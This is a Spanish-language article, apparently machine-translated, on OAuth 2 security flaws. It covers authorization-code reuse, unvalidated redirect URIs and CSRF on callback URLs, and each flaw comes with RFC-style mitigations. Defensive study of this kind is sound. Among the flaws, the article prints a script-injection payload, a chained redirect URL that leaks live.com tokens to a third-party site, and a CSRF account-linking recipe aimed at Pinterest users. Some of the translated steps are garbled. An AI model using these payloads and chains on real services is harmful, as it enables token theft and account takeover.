Descripción general de OAuth 2
Este artículo asume que los lectores están familiarizados con OAuth 2. Sin embargo, a continuación se presenta una breve descripción.
- La aplicación solicita autorización para acceder a los recursos del servicio del usuario. La aplicación debe proporcionar el ID del cliente, el secreto del cliente, el URI de redireccionamiento y los ámbitos requeridos.
- Si el usuario autoriza la solicitud, la aplicación recibe una concesión de autorización
- La aplicación solicita un token de acceso del servidor de autorización presentando la autenticación de su propia identidad y la autorización otorgada
- Si la identidad de la aplicación se autentica y la concesión de autorización es válida, el servidor de autorización emite el token de acceso y actualización (si es necesario) a la aplicación. La autorización está completa.
- La aplicación solicita el recurso del servidor de recursos y presenta el token de acceso para autenticación
- Si el token de acceso es válido, el servidor de recursos sirve el recurso a la aplicación
Hay algunos pros y contras principales en OAuth 2.0
- OAuth 2.0 es más fácil de usar e implementar (en comparación con OAuth 1.0)
- Amplia difusión y crecimiento continuo.
- Fichas de corta duración
- Fichas encapsuladas
- Sin firma (se basa únicamente en SSL / TLS), token token
- Sin seguridad incorporada
- Puede ser peligroso si se usa de personas sin experiencia
- Demasiados compromisos. El grupo de trabajo no tomó decisiones claras.
- Integración móvil (vistas web)
- La especificación Oauth 2.0 no es un protocolo, es más bien un marco de trabajo - RFC 6749
Evaluación más crítica
OAuth 2 Hacks
El código de autorización se puede usar más de una vez
Ejemplo de ataque de Google:
- Registrar una identificación de cliente
- Obtenga un token de autorización en el punto final de autorización ( https://accounts.google.com/o/oauth2/auth ), por ejemplo
- Ahora cambie el código de autorización de
4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
A
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> y solicite un token de acceso.
Como se ha dicho, este será un código de autorización válido y el token de acceso se recibe debido al hecho de que el código de autorización tiene la forma TOKEN1.TOKEN2 y solo se valida TOKEN1. - De hecho, vuelva a solicitar el token de acceso utilizando el mismo código de autorización falsificado (es decir,
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> El código de autorización ya no se acepta desde la autorización. La parte interesante de todo esto es cómo el token endpoint responde a este código de autorización que ya no es válido. De hecho, la respuesta de error se veía así: Token Record:
Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ...
como puede ver, la salida no se desinfecta.
Lección aprendida:
El cliente NO DEBE usar el código de autorización más de una vez. Si se usa un código de autorización más de una vez, el servidor de autorización DEBE rechazar la solicitud y DEBE revocar (cuando sea posible) todos los tokens emitidos previamente en función de ese código de autorización.
URI de redireccionamiento no validado
Ahora supongamos un atacante:
- Registra un nuevo cliente para el proveedor victim.com.
- Registra un URI de redireccionamiento como attacker.com.
Luego, el atacante puede crear un URI especial de la forma
http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com
Ahora podría argumentar que esto es SOLO una redirección abierta y que no es mucho lo que puede hacer con ella, ¿verdad?
Veamos el ejemplo de Microsoft y Facebook:
Microsoft utiliza un alcance OAuth especializado wli.contacts_emails que está disponible solo para la aplicación de Facebook. Una parte interesante es que a los usuarios nunca se les notifica que la aplicación está intentando acceder a sus datos y se les concede permiso de forma silenciosa.
Puedes probar esto aquí (tendrás que iniciar sesión):
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F
Si intenta modificar el parámetro #### redirect_uri, notará que el token se emite a cualquier URL dentro del dominio #### facebook.com. Por lo tanto, para filtrar el token OAuth a un tercero malintencionado, se requeriría una redirección abierta en el dominio #### facebook.com. Como los redireccionamientos abiertos generalmente se consideran vulnerabilidades de baja gravedad, no es particularmente difícil encontrar uno. Para este ejemplo, utilizaremos un redireccionamiento abierto en el flujo de autorización de Facebook (al proporcionar un parámetro de alcance no válido ####). Funciona así:
https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com
Entonces, al encadenar los dos errores, podemos adquirir tokens OAuth de los usuarios de live.com. El ejemplo completo está aquí:
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com
Si ahora inspecciona la URL de destino, notará que el token OAuth de Microsoft se envió a un sitio web de terceros sin su consentimiento. Otro ejemplo es la redirección a la página vulnerable del dominio XSS, donde el script aún puede acceder al token.
Lecciones aprendidas:
Las implementaciones de OAuth nunca deberían incluir en la lista blanca dominios completos, solo unas pocas URL para que "redirect_uri" no pueda apuntar a un Redireccionamiento abierto. Además, los desarrolladores deben tener cuidado al otorgar acceso silencioso a las aplicaciones (la aprobación manual de una aplicación probablemente no hará que la experiencia del usuario sea mucho peor).
El ÚNICO método de validación segura para redirect_uri que el servidor de autorización debe adoptar es la coincidencia exacta
Si el propietario del recurso deniega la solicitud de acceso o si la solicitud falla por razones que no sean un URI de redireccionamiento faltante o no válido, el servidor de autorización informa al cliente agregando los siguientes parámetros al componente de consulta del URI de redireccionamiento utilizando la "aplicación / x-www -form- urlencoded "formato
Responda con un código de estado HTTP 400 (Solicitud incorrecta).
Falsificación de solicitudes entre sitios Cliente OAuth
Un ataque CSRF contra el URI de redireccionamiento del cliente le permite a un atacante inyectar su propio código de autorización o token de acceso, lo que puede hacer que el cliente use un token de acceso asociado con los recursos protegidos del atacante en lugar de los de la víctima (por ejemplo, guarde la información de la cuenta bancaria de la víctima en un recurso protegido controlado por el atacante).
Elija el Cliente que se adapte a la "condición" del pirateo: algunos sitios.com (usaremos Pinterest como escaparate) Inicie el proceso de autenticación: haga clic en "Agregar inicio de sesión de proveedor OAuth". Debe recibir una devolución de llamada del Proveedor, pero no debe visitarlo.
No visitar el del Do para el final de la URL ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ), sólo el ahorro y la ponen hacia img src = Dentro de la "de la URL" o el iframe o nada de lo contrario, prefiere enviar solicitudes.
Ahora todo lo que necesita es hacer que el Usuario (un cierto usuario objetivo o aleatorio de site.com) envíe una solicitud HTTP en su URL de devolución de llamada. Puede obligarlo a visitar example.com/somepage.html que contiene iframe src = URL, publicar img en su muro, enviarle un correo electrónico / tweet, lo que sea. El usuario debe iniciar sesión en site.com cuando envía la solicitud.
Bien hecho, su cuenta oauth se adjunta a la cuenta del Usuario en site.com.
Voila, presione Iniciar sesión con ese proveedor de OAuth: ha iniciado sesión directamente en la cuenta del usuario en site.com
Lecciones aprendidas:
El cliente DEBE implementar la protección CSRF para su URI de redireccionamiento. Esto normalmente se logra al requerir que cualquier solicitud enviada al punto final de URI de redireccionamiento incluya un valor que vincule la solicitud al estado autenticado del agente de usuario (por ejemplo, un hash de la cookie de sesión utilizada para autenticar al agente de usuario). El cliente DEBE utilizar el parámetro de solicitud de "estado" para entregar este valor al servidor de autorización al realizar una solicitud de autorización.
Una vez que se ha obtenido la autorización del usuario final, el servidor de autorización redirige el agente de usuario del usuario final al cliente con el valor de enlace requerido contenido en el parámetro "estado". El valor de enlace permite al cliente verificar la validez de la solicitud haciendo coincidir el valor de enlace con el estado autenticado del agente de usuario. El valor de enlace utilizado para la protección CSRF DEBE contener un valor no adivinable, y el estado autenticado del agente de usuario (cookie de sesión, almacenamiento local HTML5) DEBE mantenerse en una ubicación accesible solo para el cliente y el agente de usuario (es decir, protegido por la política del mismo origen).
Un ataque CSRF contra el punto final de autorización del servidor de autorización puede dar como resultado que un atacante obtenga la autorización del usuario final para un cliente malintencionado sin involucrar o alertar al usuario final.
El servidor de autorización DEBE implementar la protección CSRF para su punto final de autorización y garantizar que un cliente malintencionado no pueda obtener autorización sin el conocimiento y el consentimiento explícito del propietario del recurso.
Parte de token de acceso del URI
Debido a las debilidades de seguridad asociadas con el método URI, incluida la alta probabilidad de que se registre la URL que contiene el token de acceso, NO DEBE usarse a menos que sea imposible transportar el token de acceso en el campo de encabezado de solicitud "Autorización" o Solicitud HTTP entidad-cuerpo. Los servidores de recursos PUEDEN soportar este método.